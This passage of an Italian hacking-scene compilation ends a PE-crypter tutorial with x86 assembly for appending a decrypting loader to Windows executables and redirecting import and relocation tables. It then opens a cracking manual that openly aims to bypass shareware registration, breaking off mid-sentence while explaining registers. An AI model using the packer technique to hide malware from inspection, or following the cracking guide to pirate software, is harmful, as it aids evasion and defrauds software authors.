calcolato l'RVA della nostra sezione abbiamo anche l'RVA del nuovo entrypoint,
dato che si presuppone che l'inizio del vostro codice coincida con l'inizio
dei dati nella nuova sezione (in caso contrario dovrete solo sommarci lo
scostamento), quindi lo scriviamo nell'header assicurandoci pero' di salvare
il vecchio entrypoint che servira' poi al loader per restituire il controllo
al programma una volta decrittato

mov eax,loader_len
call SectionAlign
mov [ldr_obj_VS],eax
mov eax,loader_len
call FileAlign
mov [ldr_obj_RWS],eax

quindi calcoliamo la nuova VSize e RawSize

mov ebx,[(esi-IMAGE_SECTION_HEADER_).PointerToRawData]
mov eax,[(esi-IMAGE_SECTION_HEADER_).SizeOfRawData]
add ebx,eax
xor edx,edx
mov ecx,[edi.OptionalHeader.FileAlignment]
div ecx
or edx,edx ; previus section already file aligned ?
mov eax,ebx
jz short @@no_zpad
add ebx,[Image_Base] ; no cave
xor cl,cl
@@zpad:
mov byte ptr [ebx],cl
inc ebx
dec edx
jnz @@zpad
@@no_zpad:
call FileAlign
mov [ldr_obj_RWA], eax ; file align loader section

questo snippet non fa altro che calcolare l'offset in cui dobbiamo scrivere i
nostri dati ovvero dalla fine dei dati precedenti accertandosi pero' che
quest'ultimo offset sia allineato al file alignment e proveddendo allo zeropad
nel caso non lo fosse..

mov eax,[ldr_obj_VS]
add eax,[edi.OptionalHeader.SizeOfImage]
call SectionAlign
mov [edi.OptionalHeader.SizeOfImage],eax

ora aggiustiamo l'imagesize aggiungendo la vsize della nostra sezione, cosi'
NT non si inkazzera' con noi

call RedirectReloc ; redirect reloc table to our
call RedirectIT ; redirect IT to loader built-in one

eheh questo invece e' un simpatico giochetto che va spiegato:
con queste due call sostituiamo nella data directory gli RVA della import
table e della reloc table in modo che puntino a quelle hardcoded che abbiamo
approntato nel codice del nostro loader. Questa operazione ha diversi
vantaggi:
1) siccome la nostra reloc table e' vuota diciamo al loader di winsoz di non
applicare alcuna relocation in caso ci sia una collisione altrimenti
sarebbe una catastrofe in fase di decrittazione
2) impostando la nuova import table, facciamo in modo che sia windows stesso
a patcharci la nostra IAT e a fornirci gli address delle API di cui
necessitiamo evitandoci di ricorre a metodi piu' o meno euristici (usati in
molti virii) come quello di trovare il base address di kernel32 (che come
noto puo' cambiare con ogni nuova versione ed e' differente in 9x e Nt)
quindi scannare la export table manualmente per ricavare gli address degli
entrypoint di GetProcAddress, LoadLibraryA/W, GetModuleHandleA.
3) in questo modo abbiamo anche alterato l'NT Header e questo ci garantisce
che un eventuale cracker che si accinga ad unpakkare la nostra creatura
dovra' anche ripristinare correttamente gli RVA nella data entry se vorra'
che il programma funzioni
Siccome so che siete attenti,avrete notato che non ho ridiretto l'RVA della
sezione risorse: eheh in effeti questo e' abbastanza semplice come sistema,
e' sufficente harcodare una resource directory nel nostro loader con lo stesso
metodo che abbiamo usato per la IT. In questo modo potremmo ad esempio avere
la possibilita' di visualizzare delle dialog, dei bmp, o al limite sostituire
l'icona del programma con la nostra.
Per far in modo poi che il programma "ritrovi" le sue risorse sara'
sufficiente che reimpostiamo l'RVA originale nell'header (attenzione che
dovrete usare WriteProtectMemory per patchare runtime se non volete un bel
gpf). Ma allora perche'non ho messo il codice per questa features.. semplice..
lo spieghero' nel terzo tutorial quando affronteremo le tecniche antidump..
per ora accontentatevi!.. ho gia' scritto un mezzo romanzo! ;)))

mov edi,offset loader_obj
xchg edi,esi
mov ecx, IMAGE_SECTION_HEADER_
rep movsb
mov edi,[ldr_obj_RWA] ; edi = offset to loader section
mov ebx,[Image_Base]
add edi,ebx
jmp @@write_loader

bene ora abbiamo impostato corretamente i dati della sezione non ci resta che
copiarla in coda all'array della sections table, et voila'.. quello che segue
invece e' codice per appendere il nostro loader nell'ultima sezione.
In genere questo metodo e' da preferirsi a quello precedente della nuova
sezione, perche' vi permette di "cammuffare" il fatto che il programma sia
criptato, dato che con un hexeditor o un pe-browser tutto sembrera' normale
ad occhi non esperti. Per ragioni di spazio (e crampi alle dita ;)) saro'
succinto nei commenti anche perche' non c'e' molto da dire se avete letto con
attenzione la parte precente:

mov ebx,[esi.SVirtualAddress]
mov eax,[esi.SizeOfRawData]
lea ebx,[eax+ebx+4] ; calculate new entrypoint rva
mov [loader_rva],ebx
xchg dword ptr [edi.OptionalHeader.AddressOfEntryPoint],ebx
mov [original_erva],ebx

l'RVA del nuovo entrypoint e' sostanzialmente uguale a (RVA sezione precedente
+ RawSize sezione precedente + 4) dove il +4 si spiega con il fatto che ci
garantiamo che ci sia una DWORD nulla tra noi e la fine dei dati originali,
questo perche' con ogni probabilita' quella che modificheremo sara' la .reloc
e quindi dobbiamo mantenere un spazio vuoto che funga da terminatore per i
dati per la relocation

add eax,loader_len
call SectionAlign
mov [esi.SVirtualSize],eax
add eax,[esi.SVirtualAddress] ; imagesize = last_obj.VA + last_obj.VS
mov [edi.OptionalHeader.SizeOfImage],eax

classico direi: aggiustiamo la imagesize come somma dell'RVA dell'ultima
sezione e la nuova VSize ottenuta dall'allineamento della RawSize al section
alignment

mov eax,[esi.SFlags]
and eax,IMAGE_SCN_MEM_NOT_DISCARDABLE
or eax,IMAGE_SCN_MEM_EXECUTE + \
IMAGE_SCN_MEM_READ + \
IMAGE_SCN_MEM_WRITE
mov [esi.SFlags],eax

forziamo i flags writable, readable, executable per essere sicuri di non aver
problemi

mov ebp,[esi.SizeOfRawData]
lea eax,[ebp+loader_len+4]
call FileAlign
mov [esi.SizeOfRawData],eax

allineamo la rawsize al file alignment

mov edi,[esi.PointerToRawData]
add edi,ebp
mov ebx,[Image_Base]
add edi,ebx
xor eax,eax ; calc offset to the end of rawdata
stosd ; last dword = 0 (mark end of reloc)

forziamo a zero quel pad di 4byte di cui sopra e quindi ora siamo pronti a
copiare il nostro loader..
Again, non riporto il codice che copia il nostro loader perche' e'
semplicissimo, l'unica nota e' che ho previsto che zeropaddi l'eventuale
cavita' che si crea alla fine del file per via dell'allineamento. Finita la
copia del loader il crypter usa UnmapViewOfFile, CloseHandle per rilasciare
il MMF e chiama SetFilePointer e SetEndOfFile per troncare la dimensione del
file a quella effetivamente necessaria (= ESI calcolato prendendo l'offset
finale in uscita dal blocco di copia allineato al file alignment).

That's All.

Ora invece discuteremo di alcune delle piu' importanti funzioni utilizzate
dal crypter

RedirectIT:
mov eax,[loader_rva] ; rva of decryptor
add eax,it_start-ldr_start ; add delta
mov [edi.OptionalHeader.DataDirectory.(IMAGE_DIR_IMPORT).VirtualAddress],eax
mov [edi.OptionalHeader.DataDirectory.(IMAGE_DIR_IMPORT).Size], it_len
add dword ptr k32_original,eax ; kernel32
add dword ptr k32_dll,eax ;
add dword ptr k32_first,eax ;
xor edx,edx
@@adj_k32iat:
add [func_k32+edx*4],eax
add [apiGetProcAddress+edx*4],eax
inc edx
cmp edx,size_k32_iat
jnz short @@adj_k32iat
add dword ptr u32_original,eax ; user32
add dword ptr u32_dll,eax ;
add dword ptr u32_first,eax ;
xor edx,edx
@@adj_u32iat:
add [func_u32+edx*4],eax
add [apiGetProcAddress+edx*4],eax
inc edx
cmp edx,size_u32_iat
jnz short @@adj_u32iat
ret

questa funzione in sostanza riaggiusta gli RVA interni alla IT in modo che
siano coerenti con la posizione (quindi ancora RVA) in cui sara' mappato il
nostro codice. Per comprendere il perche' di queste correzioni bisogna che
analizziamo la struttura della IT. La import table come sapete permette al
loader di reperire le informazioni relative alle funzioni importate da moduli
esterni in modo implicito. Per far questo esso percorre una serie di strutture
nella IT che contengono il nome o l'ordinal (= ID che identifica univocamente
la funzione e relativo alla sua posizione nell'array AddressOfFunctions della
ET) delle funzioni importate ordinate per modulo di appartenenza.. quindi
mappa il modulo nello spazio di indirizzamento del processo (LoadLibrary),
scanna l'ET del modulo (GetProcAddress) per trovare l'address dell'entrypoint
della funzione e quindi patcha la IAT con quest'ultimo.
Ora mi aspetto una vostra domanda del tipo: "ma cos'e' la IAT" ?
Immaginate la Import Address Table come un array di DWORD che contiene gli
indirizzi delle funzioni delle DLL che il programma utilizza. L'esistenza
della IAT e' dovuta al fatto che sia il compilatore, sia il linker non possono
conoscere a priopri l'address a cui verra' caricata la dll e quindi per
consetire al programmatore di utilizzare nel suo codice ad exp.
MessageBoxA devono approntare un meccanismo di indirezione: una chiamata da
un linguaggio ad alto livello a MessageBoxA verra' tradotta dal compilatore e
dal linkere (attraverso una import lib) in una call ad un thunk (normalmente
in fondo alla sezione con il codice .text,CODE",ecc).class"
tppabs="http://utenti.tripod.it/inversa/tutes/%2Cecc%29.class" che si
prensenta cosi':

JMP DWORD PTR [0x12345678]

dove 0x12345678 e' proprio l'indirizzo della DWORD presente nella IAT che a
runtime conterra' l'entrypoint di MessageBoxA. Alternativamente nei
compilatori piu' recenti e' possibile usare il modificatore __declspec(dllimport)
per specificare che il simbolo esterno e' proprio una funzione esportata da
una dll: questo permette al compilatore di eliminare il thunk e di tradurre la
chiamata in una piu' performante

CALL DWORD PTR [0x12345678]

Come vedete la IAT e' di vitale importanza e come logicamente si puo' intuire
non facilmente ridirezionabile tant'e' che sebbene noi modificiamo l'header in
modo che punti alla nostra IAT, l'RVA in cui andremo a patchare gli indirizzi
restera' quello originale (quest'ultimo punto e' di vitale importanza per
comprendere come sia possibile per un cracker intercettare la IAT originale).
Torniamo alla IT:
questa inizia con un array di strutture IMAGE_IMPORT_DESCRIPTOR:

* OriginalFirstThunk: e' un RVA ad un array di strutture IMAGE_THUNK_DATA che
contengono le informazioni per ogni funzione importata da questo modulo.
La fine dell'array e' segnalato da un elemento IMAGE_THUNK_DATA nullo.
Questo array a differenza di quello a cui punta FirstThunk non e'
patchato dal Loader di Win32. Tuttavia la sua presenza non e' garantita
dato che alcuni linker per ottimizzire (vedi borland) lo omettono per cui
accertatevi sempre che questo RVA sia diverso da zero.
* TimeDateStamp: questo campo ha una duplice funzione a seconda che siano
presenti o meno funzioni bound (= gli address delle funzioni sono
assoluti e gia'patchati dal linker o dall'utility bind (fornita con
l'SDK NT) che assume una determinata imagebase per quel modulo):
- nel caso di funzioni bound avra' valore diverso da zero: se vale
0xFFFFFFFF siamo in presenza di un pre-binding new-style, se invece e'
diverso da 0xFFFFFFFF si tratta di pre-binding old-style
- se invece vale 0 come nella stragrande maggioranza dei casi non ci
sono import bound e non serve a null'altro
* ForwarderChain: altro campo mistico =P indica l'indice nell'array FirstThunk
del primo elemento della forwarders chain, ovvero della lista di funzioni
che sono importate da un modulo in cui a loro volta sono forwarded. Si
come avete intuito e' un bel casino :) cmq non abbiate a preoccuparvi..
sia le funzioni bound che quelle farwarded sono merce estremamente rara e
dubito che ne incontrerete mai salvo decidiate di cryptare moduli di
sistema... pessima idea cmq ;)
* Name: questo RVA punta ad una stringa null-terminated con il nume del modulo
* FirstThunk: questo array e' simile a quello in OriginalFirstThunk con
l'unica differenza che ne e' garantita _sempre_ l'esistenza dato che gli
elementi IMAGE_THUNK_DATA qui contenuti verranno patchati dal loader di
windoz con gli address delle funzioni...come avete capito questo array
e' tristemente =) noto come IAT

nella IT avremo quindi in successione un elemento IMAGE_IMPORT_DESCRIPTOR per
ogni modulo da cui importiamo una o piu' funzioni; l'array e' terminato come
al solito con il classico elemento nullo. Quanto alle import bound e forwarded
non mi addentro oltre in questo argomento perche' non credo che ne troverete
esempi "reali" in quanto entrambi sono meccanismi utilizzati principalmente
per dll di windowz stesso e soprattuto sotto NT. Nel caso vogliate approfondire
vi consiglio l'ottimo documento di B. Luevelsmeyer. Molto piu' importante
invece parlare degli array OriginalFirstThunk e FirstThunk. Come anticipato
entrambi puntano ad due array paralleli di IMAGE_THUNK_DATA: ogni
IMAGE_THUNK_DATA e' costituito da una sola DWORD che rappresenta una RVA ad un
elemento IMAGE_IMPORT_BY_NAME. Ogni IMAGE_IMPORT_BY_NAME e' invece cosi'
dichiarato:

Hint WORD
Name BYTE DUP (?)

Hint rapresenta l'ordinal della funzione ma e' coerente solo se l'elemento
IMAGE_THUNK_DATA che lo punta ha il bit piu alto accesso (usate la mask
IMAGE_IMPORT_BY_ORDINAL).
Name invece e' una stringa null-terminated che riporta il nome della funzione
importata.
Ecco fatto :) .. queste sono tutte le strutture coinvolte nella IT: quindi ora
e' chiaro quale sia la sequenza che il loader segue:
1) legge un IMAGE_IMPORT_DESCRIPTOR -> ricava il nome del modulo ->LoadLibrary
2) legge un elemento IMAGE_THUNK_DATA dell'array FirstThunk (o
OriginalFirstThunk se presente) e ricava il corrispondente elemento
IMAGE_IMPORT_BY_NAME ; contemporaneamente verifica il bit
IMAGE_IMPORT_BY_ORDINAL
3) dalla struct IMAGE_IMPORT_BY_NAME ricava nome/ordinal -> GetProcAddress
4) patcha nell'array FirstThunk (IAT) l'elemento IMAGE_THUNK_DATA corrente
con l'address della funzione costruendo cosi' la IAT
5) ripete la 2) per ogni IMAGE_THUNK_DATA (= funzione importata) finche'
incontra un elemento nullo
6) ripete la 1) per ogni IMAGE_IMPORT_DESCRIPTOR (= modulo "linkato") finche'
incontra un elemento nullo

Se guadardate il codice del nostro loader vedrete che la funzione HandleIT non
fa altro che eseguire queste operazioni.

RedirectReloc:
mov eax,[loader_rva] ; rva of decryptor
add eax,NULL_RELOC-ldr_start ; add delta
mov [edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RELOC).VirtualAddress],eax
mov [edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RELOC).Size], 10
ret

Questa funzione e' sostanzialmente gemella della precedente solo che
riaggiusta, e sostituisce nella data directory, l'RVA della nostra relocation
table che come potete constatare dai sorgenti e' vuota (fatto naturale visto
che saremo noi e non il loader di windoz a gestire le relocations). Vediamo
ora la struttura della relocation table perche' una volta che vi sara' chiara
comprenderete il funzionamento della funzione HandleReloc.
La relocations table e' un sequenza di strutture IMAGE_BASE_RELOCATION che
viene utilizzata dal loader per patchare i punti dell'eseguibile in cui si e'
fatto uso di indirizzi assoluti relativi all'imagebse assunta a link-time e
che ,nel caso di rilocazione, non sarebbero piu' validi: immaginate una cosa
tipo MOV EAX,[046707].. come vedete carica un valore dall'address 0x46707..
ma cosa succederebbe se l'imagebase fosse 50000 ?! l'indirizzo 0x46707 non
sarebbe piu' valido e il programma leggerebbe un valore errato o generebbe un
gpf.. e' quindi necessario che il loader calcoli il DELTA (=50000-40000=10000)
e quindi lo sommi all'operando dell'istruzione MOV in modo che tutto torni a
posto.
Ogni IMAGE_BASE_RELOCATION descrive i fixup da applicare per ognuna delle
pagine da 4k (0x1000 = x86 page per chi se ne fosse dimenticato ;) in cui
viene suddivisia l'immagine dell'eseguibile. Come si puo' arguire la
"struttura" IMAGE_BASE_RELOCATION non ha una dimensione fissa ma se ne puo'
conoscere la dimensione attraverso il suo header:

IMAGE_BASE_RELOCATION STRUC
RVirtualAddress DD 0 < header
SizeOfBlock DD 8 <
TypeOffset DW ?
IMAGE_BASE_RELOCATION ENDS

SizeOfBlock contiene appunto la dimensione del blocco incluso l'header. Se
vogliamo conoscere quante sono le relocations per questa pagina di eseguibile
dobbiamo quindi fare:

RelocNumber = ('SizeOfBlock'- sizeof(IMAGE_BASE_RELOCATION.header) idiv 2

Il campo RVirtualAddress rappresenta invece l'RVA a cui inizia la pagina in
cui andranno applicati i fixup. Il campo TypeOffset invece e' un array di
WORD, ognuna delle quali specifica 1) nel nibble piu' alto il tipo di
rilocazione 2) nei restanti 12 bit lo scostamento che sommato all'RVA ci da
la posizione in cui applicare il fixup.
Il modo in cui applicheremo i fixup e' determinato dal tipo di rilocazione.
Nei sorgenti e' presente il codice per i 4 tipi che "dovrebbero" presentarsi
in eseguibili per la piattaforma x86 ma come vedete solo il tipo 3
IMAGE_REL_BASED_HIGHLOW e' effettivamente attivo: questo perche' non ho _mai_
trovato un eseguibile che presenti fixup diversi dal tipo 0 (usato solo come
padding per l'allineamento a DWORD) o 3 e non ho informazioni in merito al
l'utilizzo dei tipi 1,2,4. Cmq sia il modo di procedere avendo un fixup tipo
IMAGE_REL_BASED_HIGHLOW e' il seguente: dobbiamo innanzitutto sommare i 12bit
dell'offset all'RVA RVirtualAddress e quindi sommarci l'imagebase corrente,
fatto questo all'indirizzo cosi' ottenunto dovremmo sommare _tutti_ i 32bit
del DELTA. Per i restanti tipi vi rimando ai sorgenti ed alla letture.
Ok, anche con le relocations siamo a posto.. ora vediamo alla risourse
directory anche perche' e' quella che presenta la struttura piu' elaborata.
Innanzitutto va detto che le risorse sono un composte dalle seguenti strutture
organizzate gerarchicamente in un albero:

IMAGE_RESOURCE_DIRECTORY
IMAGE_RESOURCE_DIRECTORY_ENTRY
IMAGE_RESOURCE_DATA_ENTRY

il nodo iniziale e' sempre una struttura
IMAGE_RESOURCE_DIRECTORY i cui campi di nostro interesse sono:
* NumberOfNamedEntries
* NumberOfIdEntries
che indicano rispettivamente il numero di IMAGE_RESOURCE_DIRECTORY_ENTRY che
utilizzano NOMI o ID numerici come identificativi. Per cui ad ogni
IMAGE_RESOURCE_DIRECTORY segue un numero (NumberOfNamedEntries +
NumberOfNamedEntries) di IMAGE_RESOURCE_DIRECTORY_ENTRY che ha invece questa
struttura:

IMAGE_RESOURCE_DIRECTORY_ENTRY STRUCT
NameID DD ?
OffsetToData DD ?
IMAGE_RESOURCE_DIRECTORY_ENTRY ENDS

Il significato di Name dipende dal bit piu' alto:
se questo vale IMAGE_RESOURCE_NAME_IS_STRING i restanti 31bit sono un offset,
relativo all'inzio delle risorse, ad una struttura IMAGE_RESOURCE_DIR_STRING_U
che in definitiva contiene il nome (in formato UNICODE) della risorsa.. nel
caso il bit non sia settato allora Name rappresenta un ID numerico.
Quest'ultimo nel caso ci troviamo nella root, rappresenta il tipo di risorsa
che troveremo nel ramo corrispispondente (definite con le costanti RT_xxxxx
in imghdr.inc).
Il campo OffsetToData e' anch'esso relativo al valore del MSB: se abbiamo che
e'settata la mask IMAGE_RESOURCE_DATA_IS_DIRECTORY allora i restanti 31 bit
sono un offset, sempre relativo all'inizio delle risorse, ad un'altra
IMAGE_RESOURCE_DIRECTORY che descrive il nodo di livello inferiore, altrimenti
se il bit non e' settato i 31bit sono l'offset ad una struttura
IMAGE_RESOURCE_DATA_ENTRY di cui ci interessano:
* rdOffsetToData: questo e' un RVA al blocco che contine i dati per questa
risorsa
* rdSize: la dimensione del blocco dati della risorsa
Come vedete le strutture assumono un significato diverso a seconda del livello
a cui ci troviamo, ma va detto che in genere non troverete piu' di tre livelli
prima di arrivare ai dati veri e propri di una risorsa:

ROOT

RESOURCE_DIRECTORY : NUM ENTRY 3
|
+----------------------+-----------------------+
| | |

RESOURCE_ENTRY RESOURCE_ENTRY RESOURCE_ENTRY
menu dialog icon

| | |

RESOURCE_DIRECTORY: 3 RESOURCE_DIRECTORY: 2 RESOURCE_DIRECTORY: 3

| | |
+-----+-----+ +-+----+ +-+----+----+
| | | | | | |

RESOURCE_ENTRY RESOURCE_ENTRY
"main" "popup" 0x10 "maindlg" 0x100 0x110 0x120

|

DATA_ENTRY

Ok spero che la rappresentazione "grafica" sia chiara... ad ogni modo nei miei
sorgenti ho scento di percorre l'albero delle risorse con una funzione
ricorsiva:

EnumResources:
push ebp
mov ebp,esp
push ebp ; save safe ESP
push offset @@on_r_except ; our simple handler
push dword ptr fs:[0] ; save previous frame
mov fs:[0],esp ; establish our SEH frame
xor ecx,ecx
call EnumResourceDirs,edi,edi,eax,ecx,ecx
xor eax,eax
jmp @@enum_exit
@@on_r_except:
mov eax,[esp+8] ; get ERR structure
mov ebp,[eax+8] ; ERR + 8 = safe ESP
stc
sbb eax,eax
@@enum_exit:
pop dword ptr fs:[0] ; remove SEH frame
mov esp,ebp
pop ebp
ret

questa codice prepara l'attraversamento delle risorse impostando l'adress base
delle risorse, il livello inziale (0) e la callback che verra' invocata ad
ogni nodo (notate che ho impostato un exception frame ..la sfiga e' sempre in
agguato ;))
Ho scelto di utilizzare una callback per avere a disposizione un "engine" di
attraversamento dell'albero delle risorse che mi consentisse di compiere
qualsiasi tipo di operazione sui vari nodi (ad esempio e' possibile rilocare
l'intero tree semplicemente cambiando gli RVA dei data entry mentre lo
attraversiamo) avendo a disposizione le informazioni relative al livello ed al
tipo di nodo in cui ci troviamo. Infatti se guardate i sorgenti la callback
utilizzate per criptare (i.e.ResCryptCallBack) le risorse e' uin grado di
lasciare inalterate le risorse RT_ICON,RT_GROUP_ICON in modo che il programma
possa mostrare la sua icona nell'explorer.
Tutto questo avviene grazie a chiamate ricorsive fra EnumResourceDirs e
EnumResourceEntry che a loro volta chiamano la callback passandogli i dati
relativi al livello in cui ci troviamo nel ramo, il tipo di nodo, ed ogni
informazione utile come la base delle risorse.
Come al solito non riporto i sorgenti..ma credo che la spiegazione sia chiara.

Bene, ora non resta che esaminare il loader. Come e' ovvio il nostro codice
dovra' essere indipendente dalla imagebase altrimenti anche noi avremmo il
problema della rilocazione.. bene la soluzione sta nell'usare il buon vecchio
trucco del delta-offset usato dai tempi immemori del dos e tanto caro a virii
coderz. In questo modo non avremmo piu' riferimenti assoluti ma solo relativi.
e sara' facile calcore l'imagebase a siamo stati mappati con questo semplice
codice facendo riferimento all'RVA del nostro loader:

ldr_start:
pushfd ; save host reg state
pushad
call delta ; get delta offset
delta:
pop ebp
sub ebp, (delta - ldr_start) ; ebp = delta offset
mov eax, ebp ; calculate current imagebase
sub eax, [(loader_rva-ldr_start)+ebp]
mov [@image_base+ebp],eax ; store for later

a dir il vero potevamo anche usare GetModuleHandle, ma diciamo che cosi' fa
piu scena ;))

mov edx,[(original_erva-ldr_start)+ebp] ; original entry point rva
add edx,eax
mov [esp+28],edx ; save host ret address

trovata l'imagebase , possiamo anche calcolarci l'entrypoint originale a cui
restituiremo il controllo una volta finito il nostro sporco lavoro

lea eax,[@loader_eHandler+ebp] ; our hanlder
push esp ; save safe ESP
push ebp ; save delta
push eax
push dword ptr fs:[0]
mov fs:[0],esp ; establish a SEH frame

stabiliamo un bel exception frame per ogni eventualita' in modo che il
programma in caso di problemi mostri una MessageBox piu' gentile di quello di
windoz (notate che l'address dell'hander e' calcolato con il solito delta)

xor edx,edx
next_object:
; read section data from decryptor table
mov edi, [@image_base+ebp]
mov eax, [ebp+(@section_array.section_rva)+edx*8] ; RVA
add edi, eax ; imagebase+rva= VA of section
mov ecx, [ebp+(@section_array.section_vsize)+edx*8] ; VSize
cmp eax,[@rsrc_rva+ebp]
pusha
jz short @@handle_res_d
call Decrypt
jmp short @@dummy_d
@@handle_res_d:
lea eax,[@ResDecryptCallBack+ebp]
xor ecx,ecx
call EnumResourceDirs,edi,edi,eax,ecx,ecx
@@dummy_d:
popa

quindi il loop che decritta i dati.. che e' perfettamente simmetrico a quello
dell'encryptor.
L'algoritmo di crittazione e' decisamente semplice ma serve a dimostrare che
il meccanismo della rilocazione funziona (se avessimo usato un'encryption
additiva non ci sarebbe bisogno di prendersi cura delle rilocazioni ( A-B = C
anche (A+x)-(B+x) = C).
Una volta decrittati i dati delle sezioni, il nostro loader si occupa di
gestire una eventuale rilocazione ( HandleReloc ), e successivamente la
risoluzione delle imports con il caricamento delle DLL nello spazio di
indirizzamento del programma, e la costruzione della IAT che poi verra'
utilizzata dallo stesso. Eseguite queste operazioni l'immagine dell'eseguibile
e' stata ricostruita in memoria e di conseguenza possiamo restituire il
controllo al codice originale attraverso il canonico jmp eax (l'utilizzo eax
non e' casuale: quando il loader di win9x passa il controllo al programma in
eax c'e' infatti proprio l'address dell'entrypoint, quindi per eviate
problemi e' meglio mimare il comportamento di windowz)
pop dword ptr fs:[0] ; remove seh frame
add esp,0Ch ; clean stack

popa ; restore host regs
popfd

jmp eax ; jump to original entry point

--==[ NOTE FINALI]==----------------------------------------------------------

Miii , quando ho iniziato questo tutorial non pensavo credevo che avrei
scritto tanto: e' davvero' lunghetto, per cui se vi siete rotti il cz, e non
l'avete finito di leggere, avete tutta la mia solidarieta' =)
Spero di essere stato chiaro, e abbastanza dettagliato, in modo che anche chi
si avvicina per la prima volta al problema dei pe-crypters possa capirci
qualcosa. Chi invece e' gia' esperto in materia mi auguro abbia apprezzato lo
sforzo di coagulare le informazioni che si possono repire sull'argomento in
tutorial che presenta anche un esempio pratico.

Ok, ora e' il tempo dei greetings (tranquilli saranno brevissimi ;).
Innanzitutto voglio ringraziare +Fravia & +HCU tutta,Stone/UCF,Virogen/PC,
Hyras,Izelion, i membri del 29/a e Ikx per aver messo a dispozione del
pubblico le loro conoscenze/sorgenti fondamento di molte delle mie conoscenze.
Ringraziamenti anche a Matt Pietrek e Andraw Shulman, Jeffey Rithcher.. grazie
di esistere :))
I miei ringraziamenti vanno poi a tutti i memberz di ringzer0 e frequentatori
di #crack-it: along3x, furbet, metalhead,suby,t3x, kry0, e tutti gli altri..
un tnx speciale va a:

Daemon: perche' riesce sempre a farmi sparlare di M$ e VB ;) (..salutami patrizia!)
Insanity : che pubblichera' questo tute tempestivamente! ;)
Genius : che continua a sperare che finiremo quel benetto api-hooker a r0 ;))
+Malattia: perche' e' un po' che non ci sentiamo.. fatti vivo ammorbato! :)
Neural_Notepad_Noise ;) per essere assolutamente assurdo e per aver fatto da cavia nei test ;)
Pusillus: per il suo entusiasmo incondizionato verso ringzer0 :)
xAONON : per le brevi ma intense chiaccherate sul PE
Yan-orel: che sta sempre ad ascoltare le mie cazzate ad ore assurde :)
War-lock: perche'..... beh lasciamo stare ahaha ;))))

byz Kill3xx

NOTA BY N0bodY88 = splendido, dico solo questo! Complimenti al mito Kill3xx!
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

=====================================================================
Manuale di Cracking - by S2
=====================================================================

1. Prefazione
Per iniziare vorrei subito dire che tutto quello che segue non e'
assolutamente da prendere sul serio e non e' assolutamente da fare o provare.
Anzi, e' assolutamente illegale, e quindi, se non volete dire "ciao" a un
pulotto che suona al vostro campanello perche' siete diventati pirati
informatici non fatelo.

Bene bene bene... Detto questo un ciao a tutti voi che avete una gran voglia
di fottere tutti quei programmini Shareware del cazzo che dopo trenta giorni
di evaluation non funzionano piu', o quelli che danno possibilita' limitate a
meno che non inseriate la mistica password associata all'user name inserito
ecc... vi siete proprio rotti le balle... vero? Io almeno, confesso che me le
sono rotte, e quindi... aguzzo l'ingegno e inculo tutte quelle softwarehouse
che ti chiedono 20$ per il loro programma. Ma se vi devo dire la verita' non
lo faccio solo per questo, ma anche per un altro motivo: Quando riesco a
mettere insieme tutti i pezzi del puzzle, e vedo sullo schermo del mio bel pc
una finestrella che mi dice "Tnx for registering" mi sento un grande. Perche'
penso di essere uno dei pochi su questa faccia della terra a essere in grado
di farlo, e quindi mi sento un figo. Comunque, quando poi ripenso ai 20$
risparmiati sono ancora piu' felice... Quindi questo manuale non e' da vedere
come un manuale al crackaggio, ma piu' come un manuale della felicita'... che
umorista che sono... io non devo passare tutte queste ore davanti al pc...
poi mi metto a scrivere stronzate del genere... sono proprio fuso... vabbe'...
mi accendo una cicca, va'.

In ogni caso questo non e' un manuale di Assembler, quindi non aspettatevi
particolari sull'asm, quelli li trovate in inglese in giro per Internet, ma
e' una guida al crackaggio. Quello che voglio insegnare non e' come trovare le
password associate agli user name, ma semplicemente come avere l'accesso. Per
riuscire a scoprire la password, avete bisogno di conoscere un sacco di asm e
soprattutto dovete farvi un pacco cosi' di matematica... ma questo e' un altro
file... forse in futuro ve lo scrivero'... Adesso andiamo al sodo e cominciamo:

2. Breve introduzione all'Assembler
Allora. Per crackare un programma bisogna disassemblarlo, cioe' tradurre il
programma .exe o .com in una lista di istruzioni da noi comprensibili, per
poi modificarlo in modo da fargli credere di aver inserito la password
giusta, o che i 30 giorni non sono passati e cosi' via. Siccome per
disassemblare i programmi da crackare si usa il SoftIce, che disassembla i
programmi in Assembler (asm), bisogna sapere questo linguaggio. Voi direte,
"ma non possiamo tradurre il programma in italiano, cosi' lo capiscono
tutti?". E io vi rispondo, ci sto lavorando, ma quando avro' finito lo
distribuiro' in una versione Shareware incrackabile! Tje'!
Ok. Ora vi spiego un po' come funziona l'Assembler:

2.1 I registri
La CPU del computer e' divisa in diversi registri, che ora vi spiego uno per
uno cosa sono e come si chiamano, e servono per memorizzarci dei dati. I
registri in tutto sono quattro, e si chiamano

AX - Accumulatore
BX - Base register
CX - Contatore
DX - Data register

Ognuno di questi registri puo' essere suddiviso in una parte alta e una bassa.
Per esempio AX si suddivide in AL (Low) e AH (High). Nella CPU del Pentium,
che lavora a 32 bit, i registri si chiamano EAX, EBX e cosi' via. Mi spiego
meglio con questo schemino:

AL = 8 Bit (parte bassa del registro AX)
AH = 8 Bit (parte alta del registro AX)
AX = 16 Bit (formato da AL e AH messi insieme)
EAX = 32 Bit (formato da AX e altri 16 Bit che pero' non sono direttamente
acessibili dall'utente)

Ovviamente questa suddivisione vale anche per BX, CX e DX.
Poi ci sono i segment register:

CS - Vuol dire Code segment. E' l'area di memoria nella quale si trova il
programma che state modificando. L'indirizzo CS:IP e' l'istruzzione che
state per eseguire.

DS - Il Data segment. La parte di memoria nella quale si trovano i dati. La
CPU di solito vi accede solo in lettura.

ES - Extra segment. In questa area di memoria la CPU vi accede in scrittura.

IP - Instruction pointer. E' l'indirizzo dell'istruzione che state per
eseguire.

SS - Stack segment. Questa e' roba complicate... non vi serve per i vostri
scopi crackistici.

SI - Source Index. E' un puntatore.

DI - Destination index. Un'altro puntatore.

BP - Base pointer. Questo viene usato insieme allo SS.

SP - Stack pointer. Serve a puntare una locazione all'interno dello Stack. E'
usato insieme a SS.

Questi sono i registri della CPU, le informazioni qui riportate, non sono
complete, ma non staro' neanche qui' a completarle, perche' per i nostri loschi
